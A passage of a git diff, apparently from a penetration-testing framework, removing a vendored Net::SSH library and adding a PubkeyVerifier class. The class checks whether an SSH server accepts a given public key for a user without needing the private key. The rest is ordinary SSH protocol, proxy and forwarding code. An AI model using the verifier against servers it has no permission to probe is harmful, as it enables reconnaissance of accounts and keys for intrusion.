password authentication, or whatever). - class AuthenticationFailed < Exception; end - - # This exception is raised when the remote host has disconnected - # unexpectedly. - class Disconnect < Exception; end - - # This exception is primarily used internally, but if you have a channel - # request handler (see Net::SSH::Connection::Channel#on_request) that you - # want to fail in such a way that the server knows it failed, you can - # raise this exception in the handler and Net::SSH will translate that into - # a "channel failure" message. - class ChannelRequestFailed < Exception; end - - # This is exception is primarily used internally, but if you have a channel - # open handler (see Net::SSH::Connection::Session#on_open_channel) and you - # want to fail in such a way that the server knows it failed, you can - # raise this exception in the handler and Net::SSH will translate that into - # a "channel open failed" message. - class ChannelOpenFailed < Exception - attr_reader :code, :reason - - def initialize(code, reason) - @code, @reason = code, reason - super "#{reason} (#{code})" - end - end - - # Raised when the cached key for a particular host does not match the - # key given by the host, which can be indicative of a man-in-the-middle - # attack. When rescuing this exception, you can inspect the key fingerprint - # and, if you want to proceed anyway, simply call the remember_host! - # method on the exception, and then retry. - class HostKeyMismatch < Exception - # the callback to use when #remember_host! is called - attr_writer :callback #:nodoc: - - # situation-specific data describing the host (see #host, #port, etc.) - attr_writer :data #:nodoc: - - # An accessor for getting at the data that was used to look up the host - # (see also #fingerprint, #host, #port, #ip, and #key). - def [](key) - @data && @data[key] - end - - # Returns the fingerprint of the key for the host, which either was not - # found or did not match. - def fingerprint - @data && @data[:fingerprint] - end - - # Returns the host name for the remote host, as reported by the socket. - def host - @data && @data[:peer] && @data[:peer][:host] - end - - # Returns the port number for the remote host, as reported by the socket. - def port - @data && @data[:peer] && @data[:peer][:port] - end - - # Returns the IP address of the remote host, as reported by the socket. - def ip - @data && @data[:peer] && @data[:peer][:ip] - end - - # Returns the key itself, as reported by the remote host. - def key - @data && @data[:key] - end - - # Tell Net::SSH to record this host and key in the known hosts file, so - # that subsequent connections will remember them. - def remember_host! - @callback.call - end - end -end; end diff --git a/lib/net/ssh/key_factory.rb b/lib/net/ssh/key_factory.rb deleted file mode 100644 index 9d5d461aec..0000000000 --- a/lib/net/ssh/key_factory.rb +++ /dev/null @@ -1,103 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/transport/openssl' -require 'net/ssh/prompt' - -module Net; module SSH - - # A factory class for returning new Key classes. It is used for obtaining - # OpenSSL key instances via their SSH names, and for loading both public and - # private keys. It used used primarily by Net::SSH itself, internally, and - # will rarely (if ever) be directly used by consumers of the library. - # - # klass = Net::SSH::KeyFactory.get("rsa") - # assert klass.is_a?(OpenSSL::PKey::RSA) - # - # key = Net::SSH::KeyFacory.load_public_key("~/.ssh/id_dsa.pub") - class KeyFactory - # Specifies the mapping of SSH names to OpenSSL key classes. - MAP = { - "dh" => OpenSSL::PKey::DH, - "rsa" => OpenSSL::PKey::RSA, - "dsa" => OpenSSL::PKey::DSA - } - - class < e - if encrypted_key && ask_passphrase - tries += 1 - if tries <= 3 - passphrase = prompt("Enter passphrase for #{filename}:", false) - retry - else - raise - end - else - raise - end - end - end - - # Loads a public key from a file. It will correctly determine whether - # the file describes an RSA or DSA key, and will load it - # appropriately. The new public key is returned. - def load_public_key(filename) - data = File.read(File.expand_path(filename)) - load_data_public_key(data, filename) - end - - # Loads a public key. It will correctly determine whether - # the file describes an RSA or DSA key, and will load it - # appropriately. The new public key is returned. - def load_data_public_key(data, filename="") - type, blob = data.split(/ /) - - raise Net::SSH::Exception, "public key at #{filename} is not valid" if blob.nil? - - blob = blob.unpack("m*").first - reader = Net::SSH::Buffer.new(blob) - reader.read_key or raise OpenSSL::PKey::PKeyError, "not a public key #{filename.inspect}" - end - end - - end - -end; end diff --git a/lib/net/ssh/known_hosts.rb b/lib/net/ssh/known_hosts.rb deleted file mode 100644 index be0870ab4d..0000000000 --- a/lib/net/ssh/known_hosts.rb +++ /dev/null @@ -1,133 +0,0 @@ -# -*- coding: binary -*- -require 'strscan' -require 'net/ssh/buffer' - -module Net; module SSH - - # Searches an OpenSSH-style known-host file for a given host, and returns all - # matching keys. This is used to implement host-key verification, as well as - # to determine what key a user prefers to use for a given host. - # - # This is used internally by Net::SSH, and will never need to be used directly - # by consumers of the library. - class KnownHosts - class < 98 (CHANNEL_REQUEST) - # p packet[:request] - # p packet[:want_reply] - # - # This is used exclusively internally by Net::SSH, and unless you're doing - # protocol-level manipulation or are extending Net::SSH in some way, you'll - # never need to use this class directly. - class Packet < Buffer - @@types = {} - - # Register a new packet type that should be recognized and auto-parsed by - # Net::SSH::Packet. Note that any packet type that is not preregistered - # will not be autoparsed. - # - # The +pairs+ parameter must be either empty, or an array of two-element - # tuples, where the first element of each tuple is the name of the field, - # and the second is the type. - # - # register DISCONNECT, [:reason_code, :long], [:description, :string], [:language, :string] - def self.register(type, *pairs) - @@types[type] = pairs - end - - include Transport::Constants, Authentication::Constants, Connection::Constants - - #-- - # These are the recognized packet types. All other packet types will be - # accepted, but not auto-parsed, requiring the client to parse the - # fields using the methods provided by Net::SSH::Buffer. - #++ - - register DISCONNECT, [:reason_code, :long], [:description, :string], [:language, :string] - register IGNORE, [:data, :string] - register UNIMPLEMENTED, [:number, :long] - register DEBUG, [:always_display, :bool], [:message, :string], [:language, :string] - register SERVICE_ACCEPT, [:service_name, :string] - register USERAUTH_BANNER, [:message, :string], [:language, :string] - register USERAUTH_FAILURE, [:authentications, :string], [:partial_success, :bool] - register GLOBAL_REQUEST, [:request_type, :string], [:want_reply, :bool], [:request_data, :buffer] - register CHANNEL_OPEN, [:channel_type, :string], [:remote_id, :long], [:window_size, :long], [:packet_size, :long] - register CHANNEL_OPEN_CONFIRMATION, [:local_id, :long], [:remote_id, :long], [:window_size, :long], [:packet_size, :long] - register CHANNEL_OPEN_FAILURE, [:local_id, :long], [:reason_code, :long], [:description, :string], [:language, :string] - register CHANNEL_WINDOW_ADJUST, [:local_id, :long], [:extra_bytes, :long] - register CHANNEL_DATA, [:local_id, :long], [:data, :string] - register CHANNEL_EXTENDED_DATA, [:local_id, :long], [:data_type, :long], [:data, :string] - register CHANNEL_EOF, [:local_id, :long] - register CHANNEL_CLOSE, [:local_id, :long] - register CHANNEL_REQUEST, [:local_id, :long], [:request, :string], [:want_reply, :bool], [:request_data, :buffer] - register CHANNEL_SUCCESS, [:local_id, :long] - register CHANNEL_FAILURE, [:local_id, :long] - - # The (integer) type of this packet. - attr_reader :type - - # Create a new packet from the given payload. This will automatically - # parse the packet if it is one that has been previously registered with - # Packet.register; otherwise, the packet will need to be manually parsed - # using the methods provided in the Net::SSH::Buffer superclass. - def initialize(payload) - @named_elements = {} - super - @type = read_byte - instantiate! - end - - # Access one of the auto-parsed fields by name. Raises an error if no - # element by the given name exists. - def [](name) - name = name.to_sym - raise ArgumentError, "no such element #{name}" unless @named_elements.key?(name) - @named_elements[name] - end - - private - - # Parse the packet's contents and assign the named elements, as described - # by the registered format for the packet. - def instantiate! - (@@types[type] || []).each do |name, datatype| - @named_elements[name.to_sym] = if datatype == :buffer - remainder_as_buffer - else - send("read_#{datatype}") - end - end - end - end -end; end diff --git a/lib/net/ssh/prompt.rb b/lib/net/ssh/prompt.rb deleted file mode 100644 index abf0409333..0000000000 --- a/lib/net/ssh/prompt.rb +++ /dev/null @@ -1,94 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH - - # A basic prompt module that can be mixed into other objects. If HighLine is - # installed, it will be used to display prompts and read input from the - # user. Otherwise, the termios library will be used. If neither HighLine - # nor termios is installed, a simple prompt that echos text in the clear - # will be used. - - module PromptMethods - - # Defines the prompt method to use if the Highline library is installed. - module Highline - # Uses Highline#ask to present a prompt and accept input. If +echo+ is - # +false+, the characters entered by the user will not be echoed to the - # screen. - def prompt(prompt, echo=true) - @highline ||= ::HighLine.new - @highline.ask(prompt + " ") { |q| q.echo = echo } - end - end - - # Defines the prompt method to use if the Termios library is installed. - module Termios - # Displays the prompt to $stdout. If +echo+ is false, the Termios - # library will be used to disable keystroke echoing for the duration of - # this method. - def prompt(prompt, echo=true) - $stdout.print(prompt) - $stdout.flush - - set_echo(false) unless echo - $stdin.gets.chomp - ensure - if !echo - set_echo(true) - $stdout.puts - end - end - - private - - # Enables or disables keystroke echoing using the Termios library. - def set_echo(enable) - term = ::Termios.getattr($stdin) - - if enable - term.c_lflag |= (::Termios::ECHO | ::Termios::ICANON) - else - term.c_lflag &= ~::Termios::ECHO - end - - ::Termios.setattr($stdin, ::Termios::TCSANOW, term) - end - end - - # Defines the prompt method to use when neither Highline nor Termios are - # installed. - module Clear - # Displays the prompt to $stdout and pulls the response from $stdin. - # Text is always echoed in the clear, regardless of the +echo+ setting. - # The first time a prompt is given and +echo+ is false, a warning will - # be written to $stderr recommending that either Highline or Termios - # be installed. - def prompt(prompt, echo=true) - @seen_warning ||= false - if !echo && !@seen_warning - $stderr.puts "Text will be echoed in the clear. Please install the HighLine or Termios libraries to suppress echoed text." - @seen_warning = true - end - - $stdout.print(prompt) - $stdout.flush - $stdin.gets.chomp - end - end - end - - # Try to load Highline and Termios in turn, selecting the corresponding - # PromptMethods module to use. If neither are available, choose PromptMethods::Clear. - Prompt = begin - require 'highline' - HighLine.track_eof = false - PromptMethods::Highline - rescue LoadError - begin - require 'termios' - PromptMethods::Termios - rescue LoadError - PromptMethods::Clear - end - end - -end; end diff --git a/lib/net/ssh/proxy/errors.rb b/lib/net/ssh/proxy/errors.rb deleted file mode 100644 index 7decc82596..0000000000 --- a/lib/net/ssh/proxy/errors.rb +++ /dev/null @@ -1,15 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/errors' - -module Net; module SSH; module Proxy - - # A general exception class for all Proxy errors. - class Error < Net::SSH::Exception; end - - # Used for reporting proxy connection errors. - class ConnectError < Error; end - - # Used when the server doesn't recognize the user's credentials. - class UnauthorizedError < Error; end - -end; end; end diff --git a/lib/net/ssh/proxy/http.rb b/lib/net/ssh/proxy/http.rb deleted file mode 100644 index 4d2757df58..0000000000 --- a/lib/net/ssh/proxy/http.rb +++ /dev/null @@ -1,106 +0,0 @@ -# -*- coding: binary -*- -require 'rex/socket' -require 'net/ssh/proxy/errors' - -module Net; module SSH; module Proxy - - # An implementation of an HTTP proxy. To use it, instantiate it, then - # pass the instantiated object via the :proxy key to Net::SSH.start: - # - # require 'net/ssh/proxy/http' - # - # proxy = Net::SSH::Proxy::HTTP.new('proxy.host', proxy_port) - # Net::SSH.start('host', 'user', :proxy => proxy) do |ssh| - # ... - # end - # - # If the proxy requires authentication, you can pass :user and :password - # to the proxy's constructor: - # - # proxy = Net::SSH::Proxy::HTTP.new('proxy.host', proxy_port, - # :user => "user", :password => "password") - # - # Note that HTTP digest authentication is not supported; Basic only at - # this point. - class HTTP - - # The hostname or IP address of the HTTP proxy. - attr_reader :proxy_host - - # The port number of the proxy. - attr_reader :proxy_port - - # The map of additional options that were given to the object at - # initialization. - attr_reader :options - - # Create a new socket factory that tunnels via the given host and - # port. The +options+ parameter is a hash of additional settings that - # can be used to tweak this proxy connection. Specifically, the following - # options are supported: - # - # * :user => the user name to use when authenticating to the proxy - # * :password => the password to use when authenticating - def initialize(proxy_host, proxy_port=80, options={}) - @proxy_host = proxy_host - @proxy_port = proxy_port - @options = options - end - - # Return a new socket connected to the given host and port via the - # proxy that was requested when the socket factory was instantiated. - def open(host, port) - socket = Rex::Socket::Tcp.create( - 'PeerHost' => proxy_host, - 'PeerPort' => proxy_port, - 'Context' => { - 'Msf' => options[:msframework], - 'MsfExploit' => options[:msfmodule] - } - ) - # Tell MSF to automatically close this socket on error or completion... - # This prevents resource leaks. - options[:msfmodule].add_socket(@socket) if options[:msfmodule] - - socket.write "CONNECT #{host}:#{port} HTTP/1.0\r\n" - - if options[:user] - credentials = ["#{options[:user]}:#{options[:password]}"].pack("m*").gsub(/\s/, "") - socket.write "Proxy-Authorization: Basic #{credentials}\r\n" - end - - socket.write "\r\n" - - resp = parse_response(socket) - - return socket if resp[:code] == 200 - - socket.close - raise ConnectError, resp.inspect - end - - private - - def parse_response(socket) - version, code, reason = socket.gets.chomp.split(/ /, 3) - headers = {} - - while (line = socket.gets.chomp) != "" - name, value = line.split(/:/, 2) - headers[name.strip] = value.strip - end - - if headers["Content-Length"] - body = socket.read(headers["Content-Length"].to_i) - end - - return { :version => version, - :code => code.to_i, - :reason => reason, - :headers => headers, - :body => body } - end - - end - -end; end; end diff --git a/lib/net/ssh/proxy/socks4.rb b/lib/net/ssh/proxy/socks4.rb deleted file mode 100644 index 4e69bb0ca5..0000000000 --- a/lib/net/ssh/proxy/socks4.rb +++ /dev/null @@ -1,82 +0,0 @@ -# -*- coding: binary -*- -require 'rex/socket' -require 'resolv' -require 'ipaddr' -require 'net/ssh/proxy/errors' - -module Net - module SSH - module Proxy - - # An implementation of a SOCKS4 proxy. To use it, instantiate it, then - # pass the instantiated object via the :proxy key to Net::SSH.start: - # - # require 'net/ssh/proxy/socks4' - # - # proxy = Net::SSH::Proxy::SOCKS4.new('proxy.host', proxy_port, :user => 'user') - # Net::SSH.start('host', 'user', :proxy => proxy) do |ssh| - # ... - # end - class SOCKS4 - - # The SOCKS protocol version used by this class - VERSION = 4 - - # The packet type for connection requests - CONNECT = 1 - - # The status code for a successful connection - GRANTED = 90 - - # The proxy's host name or IP address, as given to the constructor. - attr_reader :proxy_host - - # The proxy's port number. - attr_reader :proxy_port - - # The additional options that were given to the proxy's constructor. - attr_reader :options - - # Create a new proxy connection to the given proxy host and port. - # Optionally, a :user key may be given to identify the username - # with which to authenticate. - def initialize(proxy_host, proxy_port=1080, options={}) - @proxy_host = proxy_host - @proxy_port = proxy_port - @options = options - end - - # Return a new socket connected to the given host and port via the - # proxy that was requested when the socket factory was instantiated. - def open(host, port) - socket = Rex::Socket::Tcp.create( - 'PeerHost' => proxy_host, - 'PeerPort' => proxy_port, - 'Context' => { - 'Msf' => options[:msframework], - 'MsfExploit' => options[:msfmodule] - } - ) - # Tell MSF to automatically close this socket on error or completion... - # This prevents resource leaks. - options[:msfmodule].add_socket(@socket) if options[:msfmodule] - - ip_addr = IPAddr.new(Resolv.getaddress(host)) - - packet = [VERSION, CONNECT, port.to_i, ip_addr.to_i, options[:user]].pack("CCnNZ*") - socket.send packet, 0 - - version, status, port, ip = socket.recv(8).unpack("CCnN") - if status != GRANTED - socket.close - raise ConnectError, "error connecting to proxy (#{status})" - end - - return socket - end - - end - - end - end -end diff --git a/lib/net/ssh/proxy/socks5.rb b/lib/net/ssh/proxy/socks5.rb deleted file mode 100644 index 0cab0cbb12..0000000000 --- a/lib/net/ssh/proxy/socks5.rb +++ /dev/null @@ -1,140 +0,0 @@ -# -*- coding: binary -*- -require 'rex/socket' -require 'net/ssh/ruby_compat' -require 'net/ssh/proxy/errors' - -module Net - module SSH - module Proxy - - # An implementation of a SOCKS5 proxy. To use it, instantiate it, then - # pass the instantiated object via the :proxy key to Net::SSH.start: - # - # require 'net/ssh/proxy/socks5' - # - # proxy = Net::SSH::Proxy::SOCKS5.new('proxy.host', proxy_port, - # :user => 'user', :password => "password") - # Net::SSH.start('host', 'user', :proxy => proxy) do |ssh| - # ... - # end - class SOCKS5 - # The SOCKS protocol version used by this class - VERSION = 5 - - # The SOCKS authentication type for requests without authentication - METHOD_NO_AUTH = 0 - - # The SOCKS authentication type for requests via username/password - METHOD_PASSWD = 2 - - # The SOCKS authentication type for when there are no supported - # authentication methods. - METHOD_NONE = 0xFF - - # The SOCKS packet type for requesting a proxy connection. - CMD_CONNECT = 1 - - # The SOCKS address type for connections via IP address. - ATYP_IPV4 = 1 - - # The SOCKS address type for connections via domain name. - ATYP_DOMAIN = 3 - - # The SOCKS response code for a successful operation. - SUCCESS = 0 - - # The proxy's host name or IP address - attr_reader :proxy_host - - # The proxy's port number - attr_reader :proxy_port - - # The map of options given at initialization - attr_reader :options - - # Create a new proxy connection to the given proxy host and port. - # Optionally, :user and :password options may be given to - # identify the username and password with which to authenticate. - def initialize(proxy_host, proxy_port=1080, options={}) - @proxy_host = proxy_host - @proxy_port = proxy_port - @options = options - end - - # Return a new socket connected to the given host and port via the - # proxy that was requested when the socket factory was instantiated. - def open(host, port) - socket = Rex::Socket::Tcp.create( - 'PeerHost' => proxy_host, - 'PeerPort' => proxy_port, - 'Context' => { - 'Msf' => options[:msframework], - 'MsfExploit' => options[:msfmodule] - } - ) - # Tell MSF to automatically close this socket on error or completion... - # This prevents resource leaks. - options[:msfmodule].add_socket(@socket) if options[:msfmodule] - - methods = [METHOD_NO_AUTH] - methods << METHOD_PASSWD if options[:user] - - packet = [VERSION, methods.size, *methods].pack("C*") - socket.send packet, 0 - - version, method = socket.recv(2).unpack("CC") - if version != VERSION - socket.close - raise Net::SSH::Proxy::Error, "invalid SOCKS version (#{version})" - end - - if method == METHOD_NONE - socket.close - raise Net::SSH::Proxy::Error, "no supported authorization methods" - end - - negotiate_password(socket) if method == METHOD_PASSWD - - packet = [VERSION, CMD_CONNECT, 0].pack("C*") - - if host =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/ - packet << [ATYP_IPV4, $1.to_i, $2.to_i, $3.to_i, $4.to_i].pack("C*") - else - packet << [ATYP_DOMAIN, host.length, host].pack("CCA*") - end - - packet << [port].pack("n") - socket.send packet, 0 - - version, reply, = socket.recv(4).unpack("C*") - len = socket.recv(1).getbyte(0) - socket.recv(len + 2) - - unless reply == SUCCESS - socket.close - raise ConnectError, "#{reply}" - end - - return socket - end - - private - - # Simple username/password negotiation with the SOCKS5 server. - def negotiate_password(socket) - packet = [0x01, options[:user].length, options[:user], - options[:password].length, options[:password]].pack("CCA*CA*") - socket.send packet, 0 - - version, status = socket.recv(2).unpack("CC") - - if status != SUCCESS - socket.close - raise UnauthorizedError, "could not authorize user" - end - end - end - - end - end -end diff --git a/lib/net/ssh/pubkey_verifier.rb b/lib/net/ssh/pubkey_verifier.rb new file mode 100644 index 0000000000..6b42dc0d6b --- /dev/null +++ b/lib/net/ssh/pubkey_verifier.rb @@ -0,0 +1,60 @@ +require 'net/ssh' + +module Net + module SSH + + class PubkeyVerifier + include Net::SSH::Transport::Constants + include Net::SSH::Authentication::Constants + + attr_accessor :connection, :host, :key, :options, :user + + def initialize(host,user, opts) + @host = host + # Parse public key data out into a PKey object + pubkey_data = opts.fetch(:key_data) + @key = Net::SSH::KeyFactory.load_data_public_key(pubkey_data) + @user = user + + # Always set auth methods to ONLY publickey regardless + # of what the user sends + opts[:auth_methods] = ['publickey'] + @options = Net::SSH.configuration_for(host, opts.fetch(:config, true)).merge(opts) + end + + def auth_session(transport) + Net::SSH::Authentication::Session.new(transport,options) + end + + def ssh_transport + Net::SSH::Transport::Session.new(host,options) + end + + def verify + transport = ssh_transport + auth = auth_session(transport) + + transport.send_message(transport.service_request("ssh-userauth")) + auth.expect_message(SERVICE_ACCEPT) + + # The initial public key exchange + pubkey_method = Net::SSH::Authentication::Methods::Publickey.new(auth) + pubkey_method.send(:send_request, key,user, "ssh-connection") + + # Check the response to see if the public key is good + response_message = auth.next_message + case response_message.type + when USERAUTH_PK_OK + @connection = Net::SSH::Connection::Session.new(transport, options) + true + when USERAUTH_FAILURE + false + else + raise Net::SSH::Exception, "unexpected reply to USERAUTH_REQUEST: #{response_message.type} (#{response_message.inspect})" + end + end + + + end + end +end diff --git a/lib/net/ssh/ruby_compat.rb b/lib/net/ssh/ruby_compat.rb deleted file mode 100644 index a1092f1d65..0000000000 --- a/lib/net/ssh/ruby_compat.rb +++ /dev/null @@ -1,8 +0,0 @@ -# -*- coding: binary -*- -class String - if RUBY_VERSION < "1.9" - def getbyte(index) - self[index] - end - end -end diff --git a/lib/net/ssh/service/forward.rb b/lib/net/ssh/service/forward.rb deleted file mode 100644 index 52e87efea3..0000000000 --- a/lib/net/ssh/service/forward.rb +++ /dev/null @@ -1,281 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/loggable' - -module Net; module SSH; module Service - - # This class implements various port forwarding services for use by - # Net::SSH clients. The Forward class should never need to be instantiated - # directly; instead, it should be accessed via the singleton instance - # returned by Connection::Session#forward: - # - # ssh.forward.local(1234, "www.capify.org", 80) - class Forward - include Loggable - - # The underlying connection service instance that the port-forwarding - # services employ. - attr_reader :session - - # A simple class for representing a requested remote forwarded port. - Remote = Struct.new(:host, :port) #:nodoc: - - # Instantiates a new Forward service instance atop the given connection - # service session. This will register new channel open handlers to handle - # the specialized channels that the SSH port forwarding protocols employ. - def initialize(session) - @session = session - self.logger = session.logger - @remote_forwarded_ports = {} - @local_forwarded_ports = {} - @agent_forwarded = false - - session.on_open_channel('forwarded-tcpip', &method(:forwarded_tcpip)) - session.on_open_channel('auth-agent', &method(:auth_agent_channel)) - session.on_open_channel('auth-agent@openssh.com', &method(:auth_agent_channel)) - end - - # Starts listening for connections on the local host, and forwards them - # to the specified remote host/port via the SSH connection. This method - # accepts either three or four arguments. When four arguments are given, - # they are: - # - # * the local address to bind to - # * the local port to listen on - # * the remote host to forward connections to - # * the port on the remote host to connect to - # - # If three arguments are given, it is as if the local bind address is - # "127.0.0.1", and the rest are applied as above. - # - # ssh.forward.local(1234, "www.capify.org", 80) - # ssh.forward.local("0.0.0.0", 1234, "www.capify.org", 80) - def local(*args) - if args.length < 3 || args.length > 4 - raise ArgumentError, "expected 3 or 4 parameters, got #{args.length}" - end - - bind_address = "127.0.0.1" - bind_address = args.shift if args.first.is_a?(String) && args.first =~ /\D/ - - local_port = args.shift.to_i - remote_host = args.shift - remote_port = args.shift.to_i - - socket = TCPServer.new(bind_address, local_port) - - @local_forwarded_ports[[local_port, bind_address]] = socket - - session.listen_to(socket) do |server| - client = server.accept - debug { "received connection on #{bind_address}:#{local_port}" } - - channel = session.open_channel("direct-tcpip", :string, remote_host, :long, remote_port, :string, bind_address, :long, local_port) do |achannel| - achannel.info { "direct channel established" } - end - - prepare_client(client, channel, :local) - - channel.on_open_failed do |ch, code, description| - channel.error { "could not establish direct channel: #{description} (#{code})" } - channel[:socket].close - end - end - end - - # Terminates an active local forwarded port. If no such forwarded port - # exists, this will raise an exception. Otherwise, the forwarded connection - # is terminated. - # - # ssh.forward.cancel_local(1234) - # ssh.forward.cancel_local(1234, "0.0.0.0") - def cancel_local(port, bind_address="127.0.0.1") - socket = @local_forwarded_ports.delete([port, bind_address]) - socket.shutdown rescue nil - socket.close rescue nil - session.stop_listening_to(socket) - end - - # Returns a list of all active locally forwarded ports. The returned value - # is an array of arrays, where each element is a two-element tuple - # consisting of the local port and bind address corresponding to the - # forwarding port. - def active_locals - @local_forwarded_ports.keys - end - - # Requests that all connections on the given remote-port be forwarded via - # the local host to the given port/host. The last argument describes the - # bind address on the remote host, and defaults to 127.0.0.1. - # - # This method will return immediately, but the port will not actually be - # forwarded immediately. If the remote server is not able to begin the - # listener for this request, an exception will be raised asynchronously. - # - # If you want to know when the connection is active, it will show up in the - # #active_remotes list. If you want to block until the port is active, you - # could do something like this: - # - # ssh.forward.remote(80, "www.google.com", 1234, "0.0.0.0") - # ssh.loop { !ssh.forward.active_remotes.include?([1234, "0.0.0.0"]) } - def remote(port, host, remote_port, remote_host="127.0.0.1") - session.send_global_request("tcpip-forward", :string, remote_host, :long, remote_port) do |success, response| - if success - debug { "remote forward from remote #{remote_host}:#{remote_port} to #{host}:#{port} established" } - @remote_forwarded_ports[[remote_port, remote_host]] = Remote.new(host, port) - else - error { "remote forwarding request failed" } - raise Net::SSH::Exception, "remote forwarding request failed" - end - end - end - - # an alias, for token backwards compatibility with the 1.x API - alias :remote_to :remote - - # Requests that a remote forwarded port be cancelled. The remote forwarded - # port on the remote host, bound to the given address on the remote host, - # will be terminated, but not immediately. This method returns immediately - # after queueing the request to be sent to the server. If for some reason - # the port cannot be cancelled, an exception will be raised (asynchronously). - # - # If you want to know when the connection has been cancelled, it will no - # longer be present in the #active_remotes list. If you want to block until - # the port is no longer active, you could do something like this: - # - # ssh.forward.cancel_remote(1234, "0.0.0.0") - # ssh.loop { ssh.forward.active_remotes.include?([1234, "0.0.0.0"]) } - def cancel_remote(port, host="127.0.0.1") - session.send_global_request("cancel-tcpip-forward", :string, host, :long, port) do |success, response| - if success - @remote_forwarded_ports.delete([port, host]) - else - raise Net::SSH::Exception, "could not cancel remote forward request on #{host}:#{port}" - end - end - end - - # Returns all active forwarded remote ports. The returned value is an - # array of two-element tuples, where the first element is the port on the - # remote host and the second is the bind address. - def active_remotes - @remote_forwarded_ports.keys - end - - # Enables SSH agent forwarding on the given channel. The forwarded agent - # will remain active even after the channel closes--the channel is only - # used as the transport for enabling the forwarded connection. You should - # never need to call this directly--it is called automatically the first - # time a session channel is opened, when the connection was created with - # :forward_agent set to true: - # - # Net::SSH.start("remote.host", "me", :forwrd_agent => true) do |ssh| - # ssh.open_channel do |ch| - # # agent will be automatically forwarded by this point - # end - # ssh.loop - # end - def agent(channel) - return if @agent_forwarded - @agent_forwarded = true - - channel.send_channel_request("auth-agent-req@openssh.com") do |achannel, success| - if success - debug { "authentication agent forwarding is active" } - else - achannel.send_channel_request("auth-agent-req") do |a2channel, success2| - if success2 - debug { "authentication agent forwarding is active" } - else - error { "could not establish forwarding of authentication agent" } - end - end - end - end - end - - private - - # Perform setup operations that are common to all forwarded channels. - # +client+ is a socket, +channel+ is the channel that was just created, - # and +type+ is an arbitrary string describing the type of the channel. - def prepare_client(client, channel, type) - client.extend(Net::SSH::BufferedIo) - client.logger = logger - - session.listen_to(client) - channel[:socket] = client - - channel.on_data do |ch, data| - ch[:socket].enqueue(data) - end - - channel.on_close do |ch| - debug { "closing #{type} forwarded channel" } - ch[:socket].close if !client.closed? - session.stop_listening_to(ch[:socket]) - end - - channel.on_eof do |ch| - ch.close - end - - channel.on_process do |ch| - if ch[:socket].closed? - ch.info { "#{type} forwarded connection closed" } - ch.close - elsif ch[:socket].available > 0 - data = ch[:socket].read_available(8192) - ch.debug { "read #{data.length} bytes from client, sending over #{type} forwarded connection" } - ch.send_data(data) - end - end - end - - # The callback used when a new "forwarded-tcpip" channel is requested - # by the server. This will open a new socket to the host/port specified - # when the forwarded connection was first requested. - def forwarded_tcpip(session, channel, packet) - connected_address = packet.read_string - connected_port = packet.read_long - originator_address = packet.read_string - originator_port = packet.read_long - - remote = @remote_forwarded_ports[[connected_port, connected_address]] - - if remote.nil? - raise Net::SSH::ChannelOpenFailed.new(1, "unknown request from remote forwarded connection on #{connected_address}:#{connected_port}") - end - - client = Rex::Socket::Tcp.create( - 'PeerHost' => remote.host, - 'PeerPort' => remote.port, - 'Context' => { - 'Msf' => session.options[:msframework], - 'MsfExploit' => session.options[:msfmodule] - } - ) - session.options[:msfmodule].add_socket(client) if session.options[:msfmodule] - - info { "connected #{connected_address}:#{connected_port} originator #{originator_address}:#{originator_port}" } - - prepare_client(client, channel, :remote) - rescue SocketError => err - raise Net::SSH::ChannelOpenFailed.new(2, "could not connect to remote host (#{remote.host}:#{remote.port}): #{err.message}") - end - - # The callback used when an auth-agent channel is requested by the server. - def auth_agent_channel(session, channel, packet) - info { "opening auth-agent channel" } - channel[:invisible] = true - - begin - agent = Authentication::Agent.connect(logger) - prepare_client(agent.socket, channel, :agent) - rescue Exception => e - error { "attempted to connect to agent but failed: #{e.class.name} (#{e.message})" } - raise Net::SSH::ChannelOpenFailed.new(2, "could not connect to authentication agent") - end - end - end - -end; end; end diff --git a/lib/net/ssh/test.rb b/lib/net/ssh/test.rb deleted file mode 100644 index 11cfd31aac..0000000000 --- a/lib/net/ssh/test.rb +++ /dev/null @@ -1,90 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/transport/session' -require 'net/ssh/connection/session' -require 'net/ssh/test/kex' -require 'net/ssh/test/socket' - -module Net; module SSH - - # This module may be used in unit tests, for when you want to test that your - # SSH state machines are really doing what you expect they are doing. You will - # typically include this module in your unit test class, and then build a - # "story" of expected sends and receives: - # - # require 'test/unit' - # require 'net/ssh/test' - # - # class MyTest < Test::Unit::TestCase - # include Net::SSH::Test - # - # def test_exec_via_channel_works - # story do |session| - # channel = session.opens_channel - # channel.sends_exec "ls" - # channel.gets_data "result of ls" - # channel.gets_close - # channel.sends_close - # end - # - # assert_scripted do - # result = nil - # - # connection.open_channel do |ch| - # ch.exec("ls") do |success| - # ch.on_data { |c, data| result = data } - # ch.on_close { |c| c.close } - # end - # end - # - # connection.loop - # assert_equal "result of ls", result - # end - # end - # end - # - # See Net::SSH::Test::Channel and Net::SSH::Test::Script for more options. - # - # Note that the Net::SSH::Test system is rather finicky yet, and can be kind - # of frustrating to get working. Any suggestions for improvement will be - # welcome! - module Test - # If a block is given, yields the script for the test socket (#socket). - # Otherwise, simply returns the socket's script. See Net::SSH::Test::Script. - def story - yield socket.script if block_given? - return socket.script - end - - # Returns the test socket instance to use for these tests (see - # Net::SSH::Test::Socket). - def socket(options={}) - @socket ||= Net::SSH::Test::Socket.new - end - - # Returns the connection session (Net::SSH::Connection::Session) for use - # in these tests. It is a fully functional SSH session, operating over - # a mock socket (#socket). - def connection(options={}) - @connection ||= Net::SSH::Connection::Session.new(transport(options), options) - end - - # Returns the transport session (Net::SSH::Transport::Session) for use - # in these tests. It is a fully functional SSH transport session, operating - # over a mock socket (#socket). - def transport(options={}) - @transport ||= Net::SSH::Transport::Session.new(options[:host] || "localhost", options.merge(:kex => "test", :host_key => "ssh-rsa", :paranoid => false, :proxy => socket(options))) - end - - # First asserts that a story has been described (see #story). Then yields, - # and then asserts that all items described in the script have been - # processed. Typically, this is called immediately after a story has - # been built, and the SSH commands being tested are then executed within - # the block passed to this assertion. - def assert_scripted - raise "there is no script to be processed" if socket.script.events.empty? - yield - assert socket.script.events.empty?, "there should not be any remaining scripted events, but there are still #{socket.script.events.length} pending" - end - end - -end; end diff --git a/lib/net/ssh/test/channel.rb b/lib/net/ssh/test/channel.rb deleted file mode 100644 index 8483550628..0000000000 --- a/lib/net/ssh/test/channel.rb +++ /dev/null @@ -1,130 +0,0 